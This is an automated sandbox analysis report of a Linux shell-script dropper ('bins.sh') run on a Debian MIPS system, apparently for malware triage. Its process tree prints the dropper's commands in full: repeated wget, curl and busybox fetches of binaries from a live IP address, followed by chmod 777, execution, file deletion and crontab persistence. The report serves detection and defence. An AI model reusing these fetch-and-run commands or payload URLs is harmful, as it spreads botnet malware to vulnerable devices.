Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10/11/2024, 08:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241110-kl1aystdpa
  • SHA256 970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1985) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Writes file to tmp directory
            PID:776
          • /bin/chmod
            chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • File and Directory Permissions Modification
            PID:785
          • /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:787
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:789
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:790
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:793
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:794
                • /bin/rm
                  rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
                  2⤵
                    PID:798
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                    2⤵
                      PID:801
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                      2⤵
                        PID:802
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                        2⤵
                        • Writes file to tmp directory
                        PID:803
                      • /bin/chmod
                        chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                        2⤵
                        • File and Directory Permissions Modification
                        PID:884
                      • /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                        ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                        2⤵
                        • Executes dropped EXE
                        PID:885
                      • /bin/rm
                        rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                        2⤵
                          PID:887
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                          2⤵
                            PID:888
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                            2⤵
                              PID:889
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                              2⤵
                              • Writes file to tmp directory
                              PID:890
                            • /bin/chmod
                              chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:906
                            • /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                              ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                              2⤵
                              • Executes dropped EXE
                              PID:908
                            • /bin/rm
                              rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                              2⤵
                                PID:910
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                2⤵
                                  PID:916
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                  2⤵
                                    PID:920
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:928
                                  • /bin/chmod
                                    chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1000
                                  • /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                    ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1001
                                  • /bin/rm
                                    rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                    2⤵
                                      PID:1003
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                      2⤵
                                        PID:1004
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                        2⤵
                                          PID:1005
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1006
                                        • /bin/chmod
                                          chmod 777 x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1007
                                        • /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                          ./x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1008
                                        • /bin/rm
                                          rm x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                          2⤵
                                            PID:1010
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:1011

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ

                                              • Path /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt

                                              • Path /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5

                                              • Path /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                                              • Size 47KB
                                              • SHA256 b0710a95137a4673b038155518c44b75973536369b4c5d401410d60aad586513
                                              • MD5 SHA1 SHA512 SSDEEP

                                              x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG

                                              • Path /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr

                                              • Path /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe

                                              • Path /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                                              • Size 122KB
                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.ymUR2c

                                              • Path /var/spool/cron/crontabs/tmp.ymUR2c
                                              • Size 210B
                                              • SHA256 3bf53dd5510289e4a22b7cc2330609d76e8a1245506efe2f63a22a19312dbd78
                                              • MD5 SHA1 SHA512